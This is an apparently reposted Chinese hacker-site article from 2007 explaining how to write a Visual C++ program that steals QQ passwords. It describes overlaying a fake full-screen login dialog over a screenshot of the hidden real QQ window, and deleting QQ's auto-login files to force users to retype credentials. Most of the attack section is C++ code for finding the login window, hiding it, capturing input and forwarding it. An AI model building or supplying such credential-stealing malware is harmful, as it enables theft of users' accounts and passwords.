| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> Hack >> 脚本漏洞攻击 >> 正文 用户登录 新用户注册
C++编程窃取QQ密码         ★★★ 【字体:
Visual C++编程窃取QQ密码
作者:不详 文章来源:安全中国 点击数: 更新时间:2007-11-15

     现在的QQ防盗技术越来越好,一般的钩子已经无法获取用户输入的密码了,程序本身的防范很严密。那么我们就从用户这边来下手吧。

  近日无所事事,看到现在的QQ防盗技术越来越好,一般的钩子已经无法获取用户输入 的密码了,我也试图用发送WM_GETTEXT消息以及GetWindowText来获取密码文本框的数据,发现是不可行的。左思右想,既然程序本身的防范很 严密。那么我们就从用户这边来下手吧。毕竟很多用户对电脑不是很了解的,各位看官可不能扔丑鸡蛋啊。

  网吧里一般用户点击QQ快捷方式后就输入号码和密码,然后再登陆,这样我们就可以进行欺骗了。我们的程序运行在后台不停的检测当前激活的窗口是不是QQ登录的窗口,如果是的话就先取得QQ登录窗口中的号码、密码文本框和登陆按钮的窗口位置。这样是为了在我们伪造的窗口上创建这些窗口时不被察觉,获得这些信息后,我们先截取整个屏幕,然后把真正的QQ登录窗口隐藏起来,最后创建我们自己的窗口,设置为最前占满整个桌面,然后再背景上贴上刚才抓取的图片。最后在图片QQ登陆的地方创建好QQ号码和密码输入窗口,在检测到用户单击在QQ登陆按钮时获取用户输入的字符,把这些字符发送到真正的QQ窗口里,最后模拟单击QQ登陆按钮完成QQ的正常登陆。

  然而家庭用户一般是选了自动登陆的方式,所以没有QQ登录的窗口,那我们就要动一些手脚了。了解QQ的地球人都知道,QQ文件夹下有这两个文件:AutoLogin.dat和LoginUinList.dat,它们的功能:这两个文件是QQ的号码登录数据文件,AutoLogin.dat 保存的是自动登录号码的数据文件,LoginUinList.dat则保存的是QQ登录窗口中的“QQ号码”下拉框中显示的所有号码记录。所以我们要删除QQ登录数据,直接删除AutoLogin.dat和LoginUinList.dat两个文件就行了。主要代码分析如下:

//根据进程ID得到进程名称
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)
{
 HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 PROCESSENTRY32 pe;
 pe.dwSize = sizeof(PROCESSENTRY32);
 if (!Process32First(hSnapshot, &pe)) {
 return FALSE;
 }
 while (Process32Next(hSnapshot, &pe)) {
 if (pe.th32ProcessID == PID) {
 strcpy(lpszProcessName, pe.szExeFile);
 return true;
 }
 }
 
 return FALSE;
}
 
//查找QQ登录窗口
void QQFind()
{
 HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;
 HWND ButtonLogin = NULL, ButtonCancel = NULL;
 char sTitle[255];
 CString ss;
 DWORD QQPID;
 int LoginID;
 BOOL find = FALSE;
 do
 {
 //获得当前激活窗口的句柄
 g_hWnd = GetForegroundWindow();
 GetWindowThreadProcessId(g_hWnd, &QQPID);
 //根据PID获得进程名
 processIdToName(sTitle, QQPID);
 ss = sTitle;
 ss.MakeLower();
 //判断是否QQ
 if(ss != "qq.exe")
 {
 Sleep(100);
 continue;
 }
 
 //获得标题文字,判断是否登陆对话框
 SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);
 ss = sTitle;
 int n = ss.Find("QQ", 0);
 int m = ss.Find("登录", 0);
 if(n >= 0 || m >= 0)
 {
 //查找QQ登陆按钮的句柄
 ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
 LoginID = GetDlgCtrlID(ButtonLogin);
 ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
 LoginID = GetDlgCtrlID(ButtonLogin);
 //获得QQ登陆按钮窗口位置
 GetWindowRect(ButtonLogin, &g_qqLogin);

 //查找QQ取消按钮的句柄
 ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");
 //获得QQ取消按钮窗口位置
 GetWindowRect(ButtonCancel, &g_qqCancel);

 //查找QQ密码输入框的句柄
 hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);
 if(hWnd1 != NULL)
 {
 qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);
 //获得QQ密码输入框窗口位置
 GetWindowRect(qqPass_hWnd, &g_qqPassRt);
 }
 
 //查找QQ号码输入框的句柄
 hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);
 if(hWnd1 != NULL)
 {
 qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);
 //获得QQ号码输入框窗口位置
 GetWindowRect(qqID_hWnd, &g_qqIDRt);
 //获得当前默认QQ号码
 SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);
 }
 
 //等待QQ窗口完全出现后抓取整个屏幕
 Sleep(100);
 g_DlgRt.left = 0;
 g_DlgRt.top = 0;
 g_DlgRt.right = m_xScreen;
 g_DlgRt.bottom = m_yScreen;
 g_pBitmap = CopyScreenToBitmap(&g_DlgRt);
 
 //设置QQ窗口为不可见
 ShowWindow(g_hWnd, SW_HIDE);
 
 //弹出我们创建的伪造对话框
 HINSTANCE hInstance = GetModuleHandle(NULL);
 DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);
 
 //设置QQ窗口为可见
 ShowWindow(g_hWnd, SW_SHOW);

 //把QQ号码和密码填到真正的QQ登录窗口上,并模拟单击登陆按钮
 SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);
 SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);
 SendMessage(ButtonLogin, BM_CLICK, 0, 0);

 DeleteObject(g_pBitmap);
 //设置标志退出循环
 find = true;
 }
 
 }

 while(find == FALSE);
}  
截图如下:

javascript:resizepic(this) border=0>

javascript:resizepic(this) border=0>
图一 伪装的登陆界面
  好了,说到这儿也差不多啦,见笑见笑了^_^,最后奉劝一句,请勿用于非法。

责任编辑:朱倩  联系方式  Email:朱倩
电话:51228163
  • 上一篇黑客:

  • 下一篇黑客:
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关黑客
    RAR文件密码破解器
    RAR文件密码破解器
    轻松击破ATA硬盘密码
    密码安全白皮书
    黑客如何来破解密码
    劫持3389密码小工具
    通过注射改管理员密码
    突破企业员工电脑密码
    暴破FTP用户名和密码
    密码遗忘的通关手册
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号